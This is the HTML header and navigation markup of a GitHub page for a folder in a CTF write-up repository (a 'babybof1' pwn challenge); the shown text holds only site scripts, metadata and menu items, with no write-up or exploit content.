src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-WriteUp/Castorsctf/pwn/babybo/babybof1 at master · gr4n173/CTF-WriteUp · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B67D:A589:7FC5B9D:830D2A4:64122016" data-pjax-transient="true"/><meta name="html-safe-nonce" content="c0208220e470bdf2275fea82db961c4a0e0d00676144719294f361dad205b4e2" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNjdEOkE1ODk6N0ZDNUI5RDo4MzBEMkE0OjY0MTIyMDE2IiwidmlzaXRvcl9pZCI6IjQ3NjQwNTIyMDExMzUwMjIxMDIiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="496b6c3a964aeaf33f8c68d4b2547d671680f4e7d932b8a354440b4e9c01efc2" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:268424549" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/c7af2b24c123c84d92130972279065e7d693330338fb1a560dd584248791d2cd/gr4n173/CTF-WriteUp" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-WriteUp/Castorsctf/pwn/babybo/babybof1 at master · gr4n173/CTF-WriteUp" /><meta name="twitter:description" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/c7af2b24c123c84d92130972279065e7d693330338fb1a560dd584248791d2cd/gr4n173/CTF-WriteUp" /><meta property="og:image:alt" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-WriteUp/Castorsctf/pwn/babybo/babybof1 at master · gr4n173/CTF-WriteUp" /><meta property="og:url" content="https://github.com/gr4n173/CTF-WriteUp" /><meta property="og:description" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/gr4n173/CTF-WriteUp git https://github.com/gr4n173/CTF-WriteUp.git">
<meta name="octolytics-dimension-user_id" content="34855478" /><meta name="octolytics-dimension-user_login" content="gr4n173" /><meta name="octolytics-dimension-repository_id" content="268424549" /><meta name="octolytics-dimension-repository_nwo" content="gr4n173/CTF-WriteUp" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="268424549" /><meta name="octolytics-dimension-repository_network_root_nwo" content="gr4n173/CTF-WriteUp" />
<link rel="canonical" href="https://github.com/gr4n173/CTF-WriteUp/tree/master/Castorsctf/pwn/babybo/babybof1" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
